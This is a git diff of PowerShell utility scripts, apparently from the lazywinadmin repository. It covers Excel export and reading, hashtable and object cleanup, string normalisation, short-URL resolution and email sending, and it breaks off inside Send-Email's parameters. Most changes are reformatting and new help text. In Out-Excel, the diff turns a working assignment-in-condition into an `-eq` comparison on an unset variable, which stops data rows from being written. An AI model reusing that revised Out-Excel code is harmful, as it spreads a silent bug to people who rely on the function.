a/TOOL-Out-Excel/Out-Excel.ps1 b/TOOL-Out-Excel/Out-Excel.ps1 index a59f9cf9..fc4a4e47 100644 --- a/TOOL-Out-Excel/Out-Excel.ps1 +++ b/TOOL-Out-Excel/Out-Excel.ps1 @@ -1,96 +1,99 @@ -function Out-Excel -{ -<# - .SYNOPSIS - .DESCRIPTION - .PARAMETER Property - .PARAMETER Raw - .NOTES - Original Script: http://pathologicalscripter.wordpress.com/out-excel/ - - TODO: - Parameter to change color of header - Parameter to activate background color on Odd unit - Add TRY/CATCH - Validate Excel first is present +function Out-Excel { + <# +.SYNOPSIS + Convert PowerShellObject to Excel file +.DESCRIPTION + Convert PowerShellObject to Excel file +.PARAMETER Property + Specify the list of properties. + If not specified it will retrieve all the properties on the object +.PARAMETER Raw + Specify the input object +.EXAMPLE + Out-Excel -Raw (Get-Process -Property Name,ID) +.NOTES + Original Script version: http://pathologicalscripter.wordpress.com/out-excel/ + +TODO: + Parameter to change color of header + Parameter to activate background color on Odd unit + Add TRY/CATCH + Validate Excel first is present #> - [CmdletBinding()] - PARAM ([string[]]$property, [switch]$raw) - - BEGIN - { - # start Excel and open a new workbook - $Excel = New-Object -Com Excel.Application - $Excel.visible = $True - $Excel = $Excel.Workbooks.Add() - $Sheet = $Excel.Worksheets.Item(1) - # initialize our row counter and create an empty hashtable - # which will hold our column headers - $Row = 1 - $HeaderHash = @{ } - } - - PROCESS - { - if ($_ -eq $null) { return } - if ($Row -eq 1) - { - # when we see the first object, we need to build our header table - if (-not $property) - { - # if we haven’t been provided a list of properties, - # we’ll build one from the object’s properties - $property = @() - if ($raw) - { - $_.properties.PropertyNames | %{ $property += @($_) } - } - else - { - $_.PsObject.get_properties() | % { $property += @($_.Name.ToString()) } - } - } - $Column = 1 - foreach ($header in $property) - { - # iterate through the property list and load the headers into the first row - # also build a hash table so we can retrieve the correct column number - # when we process each object - $HeaderHash[$header] = $Column - $Sheet.Cells.Item($Row, $Column) = $header.toupper() - $Column++ - } - # set some formatting values for the first row - $WorkBook = $Sheet.UsedRange - $WorkBook.Interior.ColorIndex = 19 - $WorkBook.Font.ColorIndex = 11 - $WorkBook.Font.Bold = $True - $WorkBook.HorizontalAlignment = -4108 - } - $Row++ - foreach ($header in $property) - { - # now for each object we can just enumerate the headers, find the matching property - # and load the data into the correct cell in the current row. - # this way we don’t have to worry about missing properties - # or the “ordering” of the properties - if ($thisColumn = $HeaderHash[$header]) - { - if ($raw) - { - $Sheet.Cells.Item($Row, $thisColumn) = [string]$_.properties.$header - } - else - { - $Sheet.Cells.Item($Row, $thisColumn) = [string]$_.$header - } - } - } - } - - end - { - # now just resize the columns and we’re finished - if ($Row -gt 1) { [void]$WorkBook.EntireColumn.AutoFit() } - } + [CmdletBinding()] + PARAM ( + [string[]]$property, + [switch]$raw + ) + + BEGIN { + # start Excel and open a new workbook + $Excel = New-Object -Com Excel.Application + $Excel.visible = $True + $Excel = $Excel.Workbooks.Add() + $Sheet = $Excel.Worksheets.Item(1) + # initialize our row counter and create an empty hashtable + # which will hold our column headers + $Row = 1 + $HeaderHash = @{ } + } + + PROCESS { + if ($_ -eq $null) { return } + if ($Row -eq 1) { + # when we see the first object, we need to build our header table + if (-not $property) { + # if we haven’t been provided a list of properties, + # we’ll build one from the object’s properties + $property = @() + if ($raw) { + $_.properties.PropertyNames | + ForEach-Object -Process { + $property += @($_) + } + } + else { + $_.PsObject.get_properties() | + ForEach-Object -Process { + $property += @($_.Name.ToString()) + } + } + } + $Column = 1 + foreach ($header in $property) { + # iterate through the property list and load the headers into the first row + # also build a hash table so we can retrieve the correct column number + # when we process each object + $HeaderHash[$header] = $Column + $Sheet.Cells.Item($Row, $Column) = $header.toupper() + $Column++ + } + # set some formatting values for the first row + $WorkBook = $Sheet.UsedRange + $WorkBook.Interior.ColorIndex = 19 + $WorkBook.Font.ColorIndex = 11 + $WorkBook.Font.Bold = $True + $WorkBook.HorizontalAlignment = -4108 + } + $Row++ + foreach ($header in $property) { + # now for each object we can just enumerate the headers, find the matching property + # and load the data into the correct cell in the current row. + # this way we don’t have to worry about missing properties + # or the “ordering” of the properties + if ($thisColumn -eq $HeaderHash[$header]) { + if ($raw) { + $Sheet.Cells.Item($Row, $thisColumn) = [string]$_.properties.$header + } + else { + $Sheet.Cells.Item($Row, $thisColumn) = [string]$_.$header + } + } + } + } + + end { + # now just resize the columns and we’re finished + if ($Row -gt 1) { [void]$WorkBook.EntireColumn.AutoFit() } + } } \ No newline at end of file diff --git a/TOOL-Read-ExcelFile/Read-ExcelFile-Example_Using_COM.ps1 b/TOOL-Read-ExcelFile/Read-ExcelFile-Example_Using_COM.ps1 index 20796a91..7c2076f7 100644 --- a/TOOL-Read-ExcelFile/Read-ExcelFile-Example_Using_COM.ps1 +++ b/TOOL-Read-ExcelFile/Read-ExcelFile-Example_Using_COM.ps1 @@ -1,15 +1,15 @@ -<# -http://www.lazywinadmin.com/2014/03/powershell-read-excel-file-using-com.html +<# +https://lazywinadmin.com/2014/03/powershell-read-excel-file-using-com.html #> [cmdletbinding()] PARAM ( - [Parameter(Mandatory, - HelpMessage = "You must specify the full path of the file")] - [ValidateScript({ Test-Path -Path $_ })] - $Path, - [Parameter(Mandatory, - HelpMessage = "You must specify the SheetName of the Excel file")] - $Sheet) + [Parameter(Mandatory, + HelpMessage = "You must specify the full path of the file")] + [ValidateScript( { Test-Path -Path $_ })] + $Path, + [Parameter(Mandatory, + HelpMessage = "You must specify the SheetName of the Excel file")] + $Sheet) #Specify the path of the excel file $FilePath = $path @@ -27,21 +27,21 @@ $WorkBook = $objExcel.Workbooks.Open($FilePath) $WorkSheet = $WorkBook.sheets.item($SheetName) [pscustomobject][ordered]@{ - ComputerName = $WorkSheet.Range("C3").Text - Project = $WorkSheet.Range("C4").Text - Ticket = $WorkSheet.Range("C5").Text - Role = $WorkSheet.Range("C8").Text - RoleType = $WorkSheet.Range("C9").Text - Environment = $WorkSheet.Range("C10").Text - Manufacturer = $WorkSheet.Range("C12").Text - SiteCode = $WorkSheet.Range("C15").Text - isDMZ = $WorkSheet.Range("C16").Text - OperatingSystem = $WorkSheet.Range("C18").Text - ServicePack = $WorkSheet.Range("C19").Text - OSKey = $WorkSheet.Range("C20").Text - Owner = $WorkSheet.Range("C22").Text - MaintenanceWindow = $WorkSheet.Range("C23").Text - NbOfProcessor = $WorkSheet.Range("C26").Text - NbOfCores = $WorkSheet.Range("C27").Text - MemoryGB = $WorkSheet.Range("C29").Text + ComputerName = $WorkSheet.Range("C3").Text + Project = $WorkSheet.Range("C4").Text + Ticket = $WorkSheet.Range("C5").Text + Role = $WorkSheet.Range("C8").Text + RoleType = $WorkSheet.Range("C9").Text + Environment = $WorkSheet.Range("C10").Text + Manufacturer = $WorkSheet.Range("C12").Text + SiteCode = $WorkSheet.Range("C15").Text + isDMZ = $WorkSheet.Range("C16").Text + OperatingSystem = $WorkSheet.Range("C18").Text + ServicePack = $WorkSheet.Range("C19").Text + OSKey = $WorkSheet.Range("C20").Text + Owner = $WorkSheet.Range("C22").Text + MaintenanceWindow = $WorkSheet.Range("C23").Text + NbOfProcessor = $WorkSheet.Range("C26").Text + NbOfCores = $WorkSheet.Range("C27").Text + MemoryGB = $WorkSheet.Range("C29").Text } \ No newline at end of file diff --git a/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 b/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 index 33ad7da9..dea10db7 100644 --- a/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 +++ b/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 @@ -1,6 +1,5 @@ -Function Remove-HashTableEmptyValue -{ -<# +Function Remove-HashTableEmptyValue { + <# .SYNOPSIS This function will remove the empty or Null entry of a hashtable object .DESCRIPTION @@ -11,16 +10,19 @@ Remove-HashTableEmptyValue -HashTable $SplattingVariable .NOTES Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com + @lazywinadmin + lazywinadmin.com + github.com/lazywinadmin +.LINK + https://github.com/lazywinadmin/PowerShell #> [CmdletBinding()] PARAM([System.Collections.Hashtable]$HashTable) $HashTable.GetEnumerator().name | ForEach-Object -Process { - if($HashTable[$_] -eq "" -or $HashTable[$_] -eq $null) - { + if ($HashTable[$_] -eq "" -or $null -eq $HashTable[$_]) { + Write-Verbose -Message "[Remove-HashTableEmptyValue][PROCESS] - Property: $_ removing..." [void]$HashTable.Remove($_) Write-Verbose -Message "[Remove-HashTableEmptyValue][PROCESS] - Property: $_ removed" } diff --git a/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 b/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 index a170df9a..37eeb46a 100644 --- a/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 +++ b/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 @@ -1,31 +1,31 @@ -function Remove-PSObjectEmptyOrNullProperty -{ -<# - .SYNOPSIS - Function to Remove all the empty or null properties with empty value in a PowerShell Object - - .DESCRIPTION - Function to Remove all the empty or null properties with empty value in a PowerShell Object - - .PARAMETER PSObject - Specifies the PowerShell Object - - .EXAMPLE - PS C:\> Remove-PSObjectEmptyOrNullProperty -PSObject $UserInfo - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm +function Remove-PSObjectEmptyOrNullProperty { + <# + .SYNOPSIS + Function to Remove all the empty or null properties with empty value in a PowerShell Object + + .DESCRIPTION + Function to Remove all the empty or null properties with empty value in a PowerShell Object + + .PARAMETER PSObject + Specifies the PowerShell Object + + .EXAMPLE + PS C:\> Remove-PSObjectEmptyOrNullProperty -PSObject $UserInfo + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell #> - PARAM ( - $PSObject) - PROCESS - { - $PsObject.psobject.Properties | - Where-Object { -not $_.value } | - ForEach-Object { - $PsObject.psobject.Properties.Remove($_.name) - } - } + PARAM ( + $PSObject) + PROCESS { + $PsObject.psobject.Properties | + Where-Object -FilterScript { -not $_.value } | + ForEach-Object -Process { + $PsObject.psobject.Properties.Remove($_.name) + } + } } \ No newline at end of file diff --git a/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 b/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 index 5dc76f03..0ac86c67 100644 --- a/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 +++ b/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 @@ -1,35 +1,34 @@ -function Remove-PSObjectProperty -{ +function Remove-PSObjectProperty { <# - .SYNOPSIS - Function to Remove a specifid property from a PowerShell object - - .DESCRIPTION - Function to Remove a specifid property from a PowerShell object - - .PARAMETER PSObject - Specifies the PowerShell Object - - .PARAMETER Property - Specifies the property to remove - - .EXAMPLE - PS C:\> Remove-PSObjectProperty -PSObject $UserInfo -Property Info - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm +.SYNOPSIS + Function to Remove a specifid property from a PowerShell object + +.DESCRIPTION + Function to Remove a specifid property from a PowerShell object + +.PARAMETER PSObject + Specifies the PowerShell Object + +.PARAMETER Property + Specifies the property to remove + +.EXAMPLE + PS C:\> Remove-PSObjectProperty -PSObject $UserInfo -Property Info + +.NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin +.LINK + https://github.com/lazywinadmin/PowerShell #> - PARAM ( - $PSObject, - - [String[]]$Property) - PROCESS - { - Foreach ($item in $Property) - { - $PSObject.psobject.Properties.Remove("$item") - } - } + PARAM ( + $PSObject, + + [String[]]$Property) + PROCESS { + Foreach ($item in $Property) { + $PSObject.psobject.Properties.Remove("$item") + } + } } \ No newline at end of file diff --git a/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 b/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 index 15d59c27..a5df8f13 100644 --- a/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 +++ b/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 @@ -1,55 +1,58 @@ -function Remove-StringDiacritic -{ -<# - .SYNOPSIS - This function will remove the diacritics (accents) characters from a string. - - .DESCRIPTION - This function will remove the diacritics (accents) characters from a string. - - .PARAMETER String - Specifies the String on which the diacritics need to be removed - - .PARAMETER NormalizationForm - Specifies the normalization form to use - https://msdn.microsoft.com/en-us/library/system.text.normalizationform(v=vs.110).aspx - - .EXAMPLE - PS C:\> Remove-StringDiacritic "L'été de Raphaël" - - L'ete de Raphael - - .NOTES - Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com +function Remove-StringDiacritic { + <# +.SYNOPSIS + This function will remove the diacritics (accents) characters from a string. + +.DESCRIPTION + This function will remove the diacritics (accents) characters from a string. + +.PARAMETER String + Specifies the String(s) on which the diacritics need to be removed + +.PARAMETER NormalizationForm + Specifies the normalization form to use + https://msdn.microsoft.com/en-us/library/system.text.normalizationform(v=vs.110).aspx + +.EXAMPLE + PS C:\> Remove-StringDiacritic "L'été de Raphaël" + + L'ete de Raphael + +.NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + github.com/lazywinadmin #> - - param - ( - [ValidateNotNullOrEmpty()] - [Alias('Text')] - [System.String]$String, - [System.Text.NormalizationForm]$NormalizationForm = "FormD" - ) - - BEGIN - { - $Normalized = $String.Normalize($NormalizationForm) - $NewString = New-Object -TypeName System.Text.StringBuilder - - } - PROCESS - { - $normalized.ToCharArray() | ForEach-Object -Process { - if ([Globalization.CharUnicodeInfo]::GetUnicodeCategory($psitem) -ne [Globalization.UnicodeCategory]::NonSpacingMark) - { - [void]$NewString.Append($psitem) - } - } - } - END - { - Write-Output $($NewString -as [string]) - } + [CMdletBinding()] + PARAM + ( + [ValidateNotNullOrEmpty()] + [Alias('Text')] + [System.String[]]$String, + [System.Text.NormalizationForm]$NormalizationForm = "FormD" + ) + + FOREACH ($StringValue in $String) { + Write-Verbose -Message "$StringValue" + try { + # Normalize the String + $Normalized = $StringValue.Normalize($NormalizationForm) + $NewString = New-Object -TypeName System.Text.StringBuilder + + # Convert the String to CharArray + $normalized.ToCharArray() | + ForEach-Object -Process { + if ([Globalization.CharUnicodeInfo]::GetUnicodeCategory($psitem) -ne [Globalization.UnicodeCategory]::NonSpacingMark) { + [void]$NewString.Append($psitem) + } + } + + #Combine the new string chars + Write-Output $($NewString -as [string]) + } + Catch { + Write-Error -Message $Error[0].Exception.Message + } + } } \ No newline at end of file diff --git a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 new file mode 100644 index 00000000..c9fdf4e8 --- /dev/null +++ b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 @@ -0,0 +1,62 @@ +function Remove-StringLatinCharacter { + <# +.SYNOPSIS + Function to remove diacritics from a string +.DESCRIPTION + Function to remove diacritics from a string +.PARAMETER String + Specifies the String that will be processed +.EXAMPLE + Remove-StringLatinCharacter -String "L'été de Raphaël" + + L'ete de Raphael +.EXAMPLE + Foreach ($file in (Get-ChildItem c:\test\*.txt)) + { + # Get the content of the current file and remove the diacritics + $NewContent = Get-content $file | Remove-StringLatinCharacter + + # Overwrite the current file with the new content + $NewContent | Set-Content $file + } + + Remove diacritics from multiple files + +.NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + github.com/lazywinadmin + + BLOG ARTICLE + https://lazywinadmin.com/2015/05/powershell-remove-diacritics-accents.html + + VERSION HISTORY + 1.0.0.0 | Francois-Xavier Cat + Initial version Based on Marcin Krzanowic code + 1.0.0.1 | Francois-Xavier Cat + Added support for ValueFromPipeline + 1.0.0.2 | Francois-Xavier Cat + Add Support for multiple String + Add Error Handling + .LINK + https://github.com/lazywinadmin/PowerShell +#> + [CmdletBinding()] + PARAM ( + [Parameter(ValueFromPipeline = $true)] + [System.String[]]$String + ) + PROCESS { + FOREACH ($StringValue in $String) { + Write-Verbose -Message "$StringValue" + + TRY { + [Text.Encoding]::ASCII.GetString([Text.Encoding]::GetEncoding("Cyrillic").GetBytes($StringValue)) + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + } + } +} \ No newline at end of file diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index 0b1dd0c5..cba1ab58 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -1,64 +1,78 @@ -function Remove-StringSpecialCharacter -{ -<# - .SYNOPSIS - This function will remove the special character from a string. - - .DESCRIPTION - This function will remove the special character from a string. - I am using the regular expression "\w" which means "any word character" - which usually means alphanumeric (letters, numbers, regardless of case) plus underscore (_) - - .PARAMETER String - Specifies the String on which the special character will be removed - - .SpecialCharacterToKeep - Specifies the special character to keep in the output - - .EXAMPLE - PS C:\> Remove-StringSpecialCharacter -String "^&*@wow*(&(*&@" +function Remove-StringSpecialCharacter { + <# +.SYNOPSIS + This function will remove the special character from a string. - wow +.DESCRIPTION + This function will remove the special character from a string. + I'm using Unicode Regular Expressions with the following categories + \p{L} : any kind of letter from any language. + \p{Nd} : a digit zero through nine in any script except ideographic - .EXAMPLE - PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" - - wow_ + http://www.regular-expressions.info/unicode.html + http://unicode.org/reports/tr18/ - .EXAMPLE - PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" -SpecialCharacterToKeep "*","_","-" +.PARAMETER String + Specifies the String on which the special character will be removed - wow-_* - - .NOTES - Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com +.PARAMETER SpecialCharacterToKeep + Specifies the special character to keep in the output + +.EXAMPLE + Remove-StringSpecialCharacter -String "^&*@wow*(&(*&@" + wow + +.EXAMPLE + Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" + + wow +.EXAMPLE + Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" -SpecialCharacterToKeep "*","_","-" + wow-_* + +.NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + github.com/lazywinadmin #> - - param - ( - [ValidateNotNullOrEmpty()] - [Alias('Text')] - [System.String]$String, + [CmdletBinding()] + param + ( + [Parameter(ValueFromPipeline)] + [ValidateNotNullOrEmpty()] + [Alias('Text')] + [System.String[]]$String, [Alias("Keep")] - [ValidateNotNullOrEmpty()] - [String[]]$SpecialCharacterToKeep - ) - PROCESS - { - IF($PSBoundParameters["SpecialCharacterToKeep"]) - { - Foreach ($Character in $SpecialCharacterToKeep) - { - $Regex += "[^\w\.$character" - } + #[ValidateNotNullOrEmpty()] + [String[]]$SpecialCharacterToKeep + ) + PROCESS { + try { + IF ($PSBoundParameters["SpecialCharacterToKeep"]) { + $Regex = "[^\p{L}\p{Nd}" + Foreach ($Character in $SpecialCharacterToKeep) { + IF ($Character -eq "-") { + $Regex += "-" + } + else { + $Regex += [Regex]::Escape($Character) + } + #$Regex += "/$character" + } + + $Regex += "]+" + } #IF($PSBoundParameters["SpecialCharacterToKeep"]) + ELSE { $Regex = "[^\p{L}\p{Nd}]+" } - $Regex += "]" - } #IF($PSBoundParameters["SpecialCharacterToKeep"]) - ELSE {$Regex = "[^\w\.]"} - - $String -replace $regex, "" + FOREACH ($Str in $string) { + Write-Verbose -Message "Original String: $Str" + $Str -replace $regex, "" + } + } + catch { + $PSCmdlet.ThrowTerminatingError($_) + } } #PROCESS -} \ No newline at end of file +} diff --git a/TOOL-Repair-ScriptFormat/Repair-ScriptFormat.ps1 b/TOOL-Repair-ScriptFormat/Repair-ScriptFormat.ps1 new file mode 100644 index 00000000..86e61602 --- /dev/null +++ b/TOOL-Repair-ScriptFormat/Repair-ScriptFormat.ps1 @@ -0,0 +1,33 @@ +function Repair-ScriptFormat { + [CmdletBinding()] + param ( + [Parameter(ValueFromPipeline)] + [ValidateScript( { Test-Path -Path $_ })] + $Path, + [System.String]$Settings = 'CodeFormatting' + ) + + begin { + #Validate PSScriptAnalyzer is present + #minimum vers + } + + process { + try{ + # Retrieve content + $scriptContent = Get-Content -Path $Path -Raw + + # Apply Formatting + $NewContent = Invoke-Formatter -ScriptDefinition $scriptContent -Settings $Settings + + # Replace whitespace lines + #$NewContent = $NewContent -replace '\' + + $NewContent | Out-File -FilePath $Path -Force -NoNewline + }catch{ + $PSCmdlet.ThrowTerminatingError($_) + } + } + end { + } +} \ No newline at end of file diff --git a/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 b/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 new file mode 100644 index 00000000..9db8b657 --- /dev/null +++ b/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 @@ -0,0 +1,43 @@ +function Resolve-ShortURL { + <# +.SYNOPSIS + Function to resolve a short URL to the absolute URI + +.DESCRIPTION + Function to resolve a short URL to the absolute URI + +.PARAMETER ShortUrl + Specifies the ShortURL + +.EXAMPLE + Resolve-ShortURL -ShortUrl http://goo.gl/P5PKq + +.EXAMPLE + Resolve-ShortURL -ShortUrl http://go.microsoft.com/fwlink/?LinkId=280243 + +.NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + github.com/lazywinadmin +.LINK + https://github.com/lazywinadmin/PowerShell +#> + + [CmdletBinding()] + [OutputType([System.String])] + PARAM + ( + [String[]]$ShortUrl + ) + + FOREACH ($URL in $ShortUrl) { + TRY { + Write-Verbose -Message "$URL - Querying..." + (Invoke-WebRequest -Uri $URL -MaximumRedirection 0 -ErrorAction Ignore).Headers.Location + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + } +} diff --git a/TOOL-Send-Email/TOOL-Send-Email.ps1 b/TOOL-Send-Email/TOOL-Send-Email.ps1 index 8bf05a65..bafd9dbd 100644 --- a/TOOL-Send-Email/TOOL-Send-Email.ps1 +++ b/TOOL-Send-Email/TOOL-Send-Email.ps1 @@ -1,330 +1,316 @@ -function Send-Email -{ -<# - .SYNOPSIS - This function allows you to send email - - .DESCRIPTION - This function allows you to send email using the NET Class System.Net.Mail - - .PARAMETER To - A description of the To parameter. - - .PARAMETER From - A description of the From parameter. - - .PARAMETER FromDisplayName - Specifies the DisplayName to show for the FROM parameter - - .PARAMETER SenderAddress - A description of the SenderAddress parameter. - - .PARAMETER SenderDisplayName - Specifies the DisplayName of the Sender - - .PARAMETER CC - A description of the CC parameter. - - .PARAMETER BCC - A description of the BCC parameter. - - .PARAMETER ReplyToList - Specifies the email address(es) that will be use when the recipient(s) reply to the email. - - .PARAMETER Subject - Specifies the subject of the email. - - .PARAMETER Body - Specifies the body of the email. - - .PARAMETER BodyIsHTML - Specifies that the text format of the body is HTML. Default is Plain Text. - - .PARAMETER Priority - Specifies the priority of the message. Default is Normal. - - .PARAMETER Encoding - Specifies the text encoding of the title and the body. - - .PARAMETER Attachment - Specifies if an attachement must be added to the function - - .PARAMETER Credential - Specifies the credential to use, default will use the current credential. - - .PARAMETER SMTPServer - Specifies if the SMTP Server IP or FQDN to use - - .PARAMETER Port - Specifies if the SMTP Server Port to use. Default is 25. - - .PARAMETER EnableSSL - Specifies if the email must be sent using SSL. - - .PARAMETER DeliveryNotificationOptions - Specifies the delivey notification options. - https://msdn.microsoft.com/en-us/library/system.net.mail.deliverynotificationoptions.aspx - - .PARAMETER EmailCC - Specifies the Carbon Copy recipient - - .PARAMETER EmailBCC - Specifies the Blind Carbon Copy recipient - - .PARAMETER EmailTo - Specifies the recipient of the email - - .PARAMETER EmailFrom - Specifies the sender of the email - - .PARAMETER Sender - Specifies the Sender Email address. Sender is the Address of the actual sender acting on behalf of the author listed in the From parameter. - - .EXAMPLE - Send-email ` - -EmailTo "fxcat@contoso.com" ` - -EmailFrom "powershell@contoso.com" ` - -SMTPServer "smtp.sendgrid.net" ` - -Subject "Test Email" ` - -Body "Test Email" - - This will send an email using the current credential of the current logged user - - .EXAMPLE - $Cred = [System.Net.NetworkCredential](Get-Credential -Credential testuser) - - Send-email ` - -EmailTo "fxcat@contoso.com" ` - -EmailFrom "powershell@contoso.com" ` - -Credential $cred - -SMTPServer "smtp.sendgrid.net" ` - -Subject "Test Email" ` - -Body "Test Email" - - This will send an email using the credentials specified in the $Cred variable - - .EXAMPLE - Send-email ` - -EmailTo "fxcat@contoso.com","SomeoneElse@contoso.com" ` - -EmailFrom "powershell@contoso.com" ` - -SMTPServer "smtp.sendgrid.net" ` - -Subject "Test Email" ` - -Body "Test Email" - - This will send an email using the current credential of the current logged user to two - fxcat@contoso.com and SomeoneElse@contoso.com - - .NOTES - Francois-Xavier Cat - fxcat@lazywinadmin.com - www.lazywinadmin.com - @lazywinadm - - VERSION HISTORY - 1.0 2014/12/25 Initial Version - 1.1 2015/02/04 Adding some error handling and clean up the code a bit - Add Encoding, CC, BCC, BodyAsHTML - 1.2 2015/04/02 Credential - - TODO - -Add more Help/Example - -Add Support for classic Get-Credential +function Send-Email { + <# + .SYNOPSIS + This function allows you to send email + + .DESCRIPTION + This function allows you to send email using the NET Class System.Net.Mail + + .PARAMETER To + A description of the To parameter. + + .PARAMETER From + A description of the From parameter. + + .PARAMETER FromDisplayName + Specifies the DisplayName to show for the FROM parameter + + .PARAMETER SenderAddress + A description of the SenderAddress parameter. + + .PARAMETER SenderDisplayName + Specifies the DisplayName of the Sender + + .PARAMETER CC + A description of the CC parameter. + + .PARAMETER BCC + A description of the BCC parameter. + + .PARAMETER ReplyToList + Specifies the email address(es) that will be use when the recipient(s) reply to the email. + + .PARAMETER Subject + Specifies the subject of the email. + + .PARAMETER Body + Specifies the body of the email. + + .PARAMETER BodyIsHTML + Specifies that the text format of the body is HTML. Default is Plain Text. + + .PARAMETER Priority + Specifies the priority of the message. Default is Normal. + + .PARAMETER Encoding + Specifies the text encoding of the title and the body. + + .PARAMETER Attachment + Specifies if an attachement must be added to the function + + .PARAMETER Credential + Specifies the credential to use, default will use the current credential. + + .PARAMETER SMTPServer + Specifies if the SMTP Server IP or FQDN to use + + .PARAMETER Port + Specifies if the SMTP Server Port to use. Default is 25. + + .PARAMETER EnableSSL + Specifies if the email must be sent using SSL. + + .PARAMETER DeliveryNotificationOptions + Specifies the delivey notification options. + https://msdn.microsoft.com/en-us/library/system.net.mail.deliverynotificationoptions.aspx + + .PARAMETER EmailCC + Specifies the Carbon Copy recipient + + .PARAMETER EmailBCC + Specifies the Blind Carbon Copy recipient + + .PARAMETER EmailTo + Specifies the recipient of the email + + .PARAMETER EmailFrom + Specifies the sender of the email + + .PARAMETER Sender + Specifies the Sender Email address. Sender is the Address of the actual sender acting on behalf of the author listed in the From parameter. + + .EXAMPLE + Send-email ` + -EmailTo "fxcat@contoso.com" ` + -EmailFrom "powershell@contoso.com" ` + -SMTPServer "smtp.sendgrid.net" ` + -Subject "Test Email" ` + -Body "Test Email" + + This will send an email using the current credential of the current logged user + + .EXAMPLE + $Cred = [System.Net.NetworkCredential](Get-Credential -Credential testuser) + + Send-email ` + -EmailTo "fxcat@contoso.com" ` + -EmailFrom "powershell@contoso.com" ` + -Credential $cred + -SMTPServer "smtp.sendgrid.net" ` + -Subject "Test Email" ` + -Body "Test Email" + + This will send an email using the credentials specified in the $Cred variable + + .EXAMPLE + Send-email ` + -EmailTo "fxcat@contoso.com","SomeoneElse@contoso.com" ` + -EmailFrom "powershell@contoso.com" ` + -SMTPServer "smtp.sendgrid.net" ` + -Subject "Test Email" ` + -Body "Test Email" + + This will send an email using the current credential of the current logged user to two + fxcat@contoso.com and SomeoneElse@contoso.com + + .NOTES + Francois-Xavier Cat + fxcat@lazywinadmin.com + lazywinadmin.com + @lazywinadmin + + VERSION HISTORY + 1.0 2014/12/25 Initial Version + 1.1 2015/02/04 Adding some error handling and clean up the code a bit + Add Encoding, CC, BCC, BodyAsHTML + 1.2 2015/04/02 Credential + + TODO + -Add more Help/Example + -Add Support for classic Get-Credential + .LINK + https://github.com/lazywinadmin/PowerShell #> - - [CmdletBinding(DefaultParameterSetName = 'Main')] - param - ( - [Parameter(ParameterSetName = 'Main', - Mandatory = $true)] - [Alias('EmailTo')] - [String[]]$To, - - [Parameter(ParameterSetName = 'Main', - Mandatory = $true)] - [Alias('EmailFrom', 'FromAddress')] - [String]$From, - - [Parameter(ParameterSetName = 'Main')] - [ValidateNotNullOrEmpty()] - [string]$FromDisplayName, - - [Parameter(ParameterSetName = 'Main')] - [Alias('EmailCC')] - [String]$CC, - - [Parameter(ParameterSetName = 'Main')] - [Alias('EmailBCC')] - [System.String]$BCC, - - [Parameter(ParameterSetName = 'Main')] - [ValidateNotNullOrEmpty()] - [Alias('ReplyTo')] - [System.string[]]$ReplyToList, - - [Parameter(ParameterSetName = 'Main')] - [System.String]$Subject = "Email from PowerShell", - - [Parameter(ParameterSetName = 'Main')] - [System.String]$Body = "Hello World", - - [Parameter(ParameterSetName = 'Main')] - [Switch]$BodyIsHTML = $false, - - [Parameter(ParameterSetName = 'Main')] - [ValidateNotNullOrEmpty()] - [System.Net.Mail.MailPriority]$Priority = "Normal", - - [Parameter(ParameterSetName = 'Main')] - [ValidateSet("Default", "ASCII", "Unicode", "UTF7", "UTF8", "UTF32")] - [System.String]$Encoding = "Default", - - [Parameter(ParameterSetName = 'Main')] - [System.String]$Attachment, - - 